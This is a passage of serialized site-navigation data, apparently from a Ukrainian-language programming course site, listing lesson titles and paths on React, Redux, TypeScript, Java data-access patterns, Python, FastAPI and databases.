Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2118,"path":2119,"stem":2120},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2122,"path":2123,"stem":2124},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2126,"path":2127,"stem":2128},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2130,"path":2131,"stem":2132},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2134,"path":2135,"stem":2136},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2138,"path":2139,"stem":2140},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2142,"icon":132,"path":2143,"stem":2144,"children":2145},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2146,2148,2164,2193,2202,2223,2239,2268],{"title":2147,"path":2143,"stem":2144},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2149,"stem":2150,"children":2151,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2152,2156,2160],{"title":2153,"path":2154,"stem":2155},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2157,"path":2158,"stem":2159},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2161,"path":2162,"stem":2163},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2165,"icon":132,"path":2166,"stem":2167,"children":2168,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2169,2173,2177,2181,2185,2189],{"title":2170,"path":2171,"stem":2172},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2174,"path":2175,"stem":2176},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2178,"path":2179,"stem":2180},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2182,"path":2183,"stem":2184},"Комбінування Reducers (Root Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2186,"path":2187,"stem":2188},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2190,"path":2191,"stem":2192},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2194,"icon":132,"path":2195,"stem":2196,"children":2197,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2198],{"title":2199,"path":2200,"stem":2201},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2203,"icon":132,"path":2204,"stem":2205,"children":2206,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2207,2211,2215,2219],{"title":2208,"path":2209,"stem":2210},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2212,"path":2213,"stem":2214},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2216,"path":2217,"stem":2218},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2220,"path":2221,"stem":2222},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2224,"icon":92,"path":2225,"stem":2226,"children":2227,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2228,2232,2236],{"title":2229,"path":2230,"stem":2231},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2233,"path":2234,"stem":2235},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2083,"path":2237,"stem":2238},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2240,"icon":132,"path":2241,"stem":2242,"children":2243,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2244,2248,2252,2256,2260,2264],{"title":2245,"path":2246,"stem":2247},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2249,"path":2250,"stem":2251},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2253,"path":2254,"stem":2255},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2257,"path":2258,"stem":2259},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2261,"path":2262,"stem":2263},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2265,"path":2266,"stem":2267},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2269,"icon":132,"path":2270,"stem":2271,"children":2272,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2273,2277,2281,2285,2289],{"title":2274,"path":2275,"stem":2276},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2278,"path":2279,"stem":2280},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2282,"path":2283,"stem":2284},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2286,"path":2287,"stem":2288},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2290,"path":2291,"stem":2292},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2294,"icon":132,"path":2295,"stem":2296,"children":2297},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2298,2300,2304,2308,2312,2316,2320],{"title":2299,"path":2295,"stem":2296},"UI Бібліотеки в React",{"title":2301,"path":2302,"stem":2303},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2305,"path":2306,"stem":2307},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2309,"path":2310,"stem":2311},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2313,"path":2314,"stem":2315},"Базові Компоненти shadcn\u002Fui: Фундамент Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2317,"path":2318,"stem":2319},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2321,"path":2322,"stem":2323},"Складні Компоненти: Dialog, Dropdown, Table та Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2325,"icon":2326,"path":2327,"stem":2328,"children":2329,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2330,2334,2338,2342,2346,2350,2354,2358],{"title":2331,"path":2332,"stem":2333},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2335,"path":2336,"stem":2337},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2339,"path":2340,"stem":2341},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2343,"path":2344,"stem":2345},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2347,"path":2348,"stem":2349},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2351,"path":2352,"stem":2353},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2355,"path":2356,"stem":2357},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2359,"path":2360,"stem":2361},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2363,"path":2364,"stem":2365},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2367,"icon":2368,"path":2369,"stem":2370,"children":2371,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2372,2375,2378,2382,2386,2390,2394],{"title":162,"path":2373,"stem":2374},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2376,"stem":2377},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2379,"path":2380,"stem":2381},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2383,"path":2384,"stem":2385},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2387,"path":2388,"stem":2389},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2391,"path":2392,"stem":2393},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2395,"path":2396,"stem":2397,"children":2398,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2399,2403,2407,2411,2415,2419,2423,2427,2431,2435,2439,2443,2447,2451,2455,2459,2463,2467,2471,2475,2479,2483,2487,2491,2495,2499,2503,2507,2511,2515,2519,2523,2527,2531,2535,2539,2543],{"title":2400,"path":2401,"stem":2402},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2404,"path":2405,"stem":2406},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2408,"path":2409,"stem":2410},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2412,"path":2413,"stem":2414},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2416,"path":2417,"stem":2418},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2420,"path":2421,"stem":2422},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2424,"path":2425,"stem":2426},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2428,"path":2429,"stem":2430},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2432,"path":2433,"stem":2434},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2436,"path":2437,"stem":2438},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2440,"path":2441,"stem":2442},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2444,"path":2445,"stem":2446},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2448,"path":2449,"stem":2450},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2452,"path":2453,"stem":2454},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2456,"path":2457,"stem":2458},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2460,"path":2461,"stem":2462},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2464,"path":2465,"stem":2466},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2468,"path":2469,"stem":2470},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2472,"path":2473,"stem":2474},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2476,"path":2477,"stem":2478},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2480,"path":2481,"stem":2482},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2484,"path":2485,"stem":2486},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2488,"path":2489,"stem":2490},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2492,"path":2493,"stem":2494},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2496,"path":2497,"stem":2498},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2500,"path":2501,"stem":2502},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2504,"path":2505,"stem":2506},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2508,"path":2509,"stem":2510},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2512,"path":2513,"stem":2514},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2516,"path":2517,"stem":2518},"View та Controller: Зв'язування з ViewModel через FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2520,"path":2521,"stem":2522},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2524,"path":2525,"stem":2526},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2528,"path":2529,"stem":2530},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2532,"path":2533,"stem":2534},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2536,"path":2537,"stem":2538},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2540,"path":2541,"stem":2542},"AtlantaFX: Сучасні теми для JavaFX додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2544,"path":2545,"stem":2546},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2548,"icon":2549,"path":2550,"stem":2551,"children":2552,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2553,2557,2560,2564,2568,2572,2576,2580,2584,2588,2592,2596,2600,2604,2608,2669],{"title":2554,"path":2555,"stem":2556},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2558,"stem":2559},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2561,"path":2562,"stem":2563},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2565,"path":2566,"stem":2567},"Наслідування, MRO та суперсила super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2569,"path":2570,"stem":2571},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2573,"path":2574,"stem":2575},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2577,"path":2578,"stem":2579},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2581,"path":2582,"stem":2583},"Дескриптори — Магія доступу до атрибутів","\u002Fpython\u002Fdescriptors","05.python\u002F07.descriptors",{"title":2585,"path":2586,"stem":2587},"Метакласи — Динамічне створення класів під капотом CPython","\u002Fpython\u002Fmetaclasses","05.python\u002F08.metaclasses",{"title":2589,"path":2590,"stem":2591},"Dataclasses, NamedTuple та сучасні контейнери Python","\u002Fpython\u002Fmodern-containers","05.python\u002F09.modern-containers",{"title":2593,"path":2594,"stem":2595},"GIL та модель конкурентності CPython — фундамент перед потоками і процесами","\u002Fpython\u002Fgil-concurrency-intro","05.python\u002F11.gil-concurrency-intro",{"title":2597,"path":2598,"stem":2599},"Threading — конкурентність для I\u002FO-bound задач","\u002Fpython\u002Fthreading","05.python\u002F12.threading",{"title":2601,"path":2602,"stem":2603},"Multiprocessing — справжній паралелізм для CPU-bound задач","\u002Fpython\u002Fmultiprocessing","05.python\u002F13.multiprocessing",{"title":2605,"path":2606,"stem":2607},"asyncio — кооперативна конкурентність та event loop","\u002Fpython\u002Fasyncio","05.python\u002F14.asyncio",{"title":2609,"icon":92,"path":2610,"stem":2611,"children":2612,"page":59},"FastAPI","\u002Fpython\u002Ffastapi","05.python\u002Ffastapi",[2613,2617,2621,2625,2629,2633,2637,2641,2645,2649,2653,2657,2661,2665],{"title":2614,"path":2615,"stem":2616},"Глибокий Typing та Pydantic v2 — від анотацій до валідації","\u002Fpython\u002Ffastapi\u002Ftyping-pydantic","05.python\u002Ffastapi\u002F15.typing-pydantic",{"title":2618,"path":2619,"stem":2620},"WSGI, ASGI та Python Web-екосистема","\u002Fpython\u002Ffastapi\u002Fwsgi-asgi-ecosystem","05.python\u002Ffastapi\u002F16.wsgi-asgi-ecosystem",{"title":2622,"path":2623,"stem":2624},"FastAPI: Перший додаток, Uvicorn та OpenAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-intro","05.python\u002Ffastapi\u002F17.fastapi-intro",{"title":2626,"path":2627,"stem":2628},"Маршрутизація, параметри запитів та APIRouter","\u002Fpython\u002Ffastapi\u002Ffastapi-routing-params","05.python\u002Ffastapi\u002F18.fastapi-routing-params",{"title":2630,"path":2631,"stem":2632},"Pydantic v2 у FastAPI — схеми, валідація та серіалізація","\u002Fpython\u002Ffastapi\u002Ffastapi-pydantic-schemas","05.python\u002Ffastapi\u002F19.fastapi-pydantic-schemas",{"title":2634,"path":2635,"stem":2636},"Dependency Injection — серце архітектури FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-dependency-injection","05.python\u002Ffastapi\u002F20.fastapi-dependency-injection",{"title":2638,"path":2639,"stem":2640},"Обробка помилок, Middleware та CORS у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-errors-middleware","05.python\u002Ffastapi\u002F21.fastapi-errors-middleware",{"title":2642,"path":2643,"stem":2644},"SQLAlchemy 2.0 — ORM, Core та Async Engine","\u002Fpython\u002Ffastapi\u002Fsqlalchemy-orm","05.python\u002Ffastapi\u002F22.sqlalchemy-orm",{"title":2646,"path":2647,"stem":2648},"Alembic — міграції бази даних","\u002Fpython\u002Ffastapi\u002Falembic-migrations","05.python\u002Ffastapi\u002F23.alembic-migrations",{"title":2650,"path":2651,"stem":2652},"Repository Pattern та Clean Architecture у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-repository-clean-arch","05.python\u002Ffastapi\u002F24.fastapi-repository-clean-arch",{"title":2654,"path":2655,"stem":2656},"Автентифікація та авторизація — JWT, OAuth2, RBAC","\u002Fpython\u002Ffastapi\u002Ffastapi-auth-security","05.python\u002Ffastapi\u002F25.fastapi-auth-security",{"title":2658,"path":2659,"stem":2660},"Тестування FastAPI — pytest, httpx, fixtures","\u002Fpython\u002Ffastapi\u002Ffastapi-testing","05.python\u002Ffastapi\u002F26.fastapi-testing",{"title":2662,"path":2663,"stem":2664},"Async на повну — Background Tasks, WebSockets, SSE та Celery","\u002Fpython\u002Ffastapi\u002Ffastapi-async-advanced","05.python\u002Ffastapi\u002F27.fastapi-async-advanced",{"title":2666,"path":2667,"stem":2668},"Deployment — Docker, CI\u002FCD, Monitoring","\u002Fpython\u002Ffastapi\u002Ffastapi-deployment","05.python\u002Ffastapi\u002F28.fastapi-deployment",{"title":2670,"path":2671,"stem":2672},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2674,"icon":2675,"path":2676,"stem":2677,"children":2678,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2679,2709,2732,2769,2798,2816,2850,2862,2871],{"title":2680,"icon":2681,"path":2682,"stem":2683,"children":2684,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2685,2689,2693,2697,2701,2705],{"title":2686,"path":2687,"stem":2688},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2690,"path":2691,"stem":2692},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2694,"path":2695,"stem":2696},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2698,"path":2699,"stem":2700},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2702,"path":2703,"stem":2704},"Класифікація 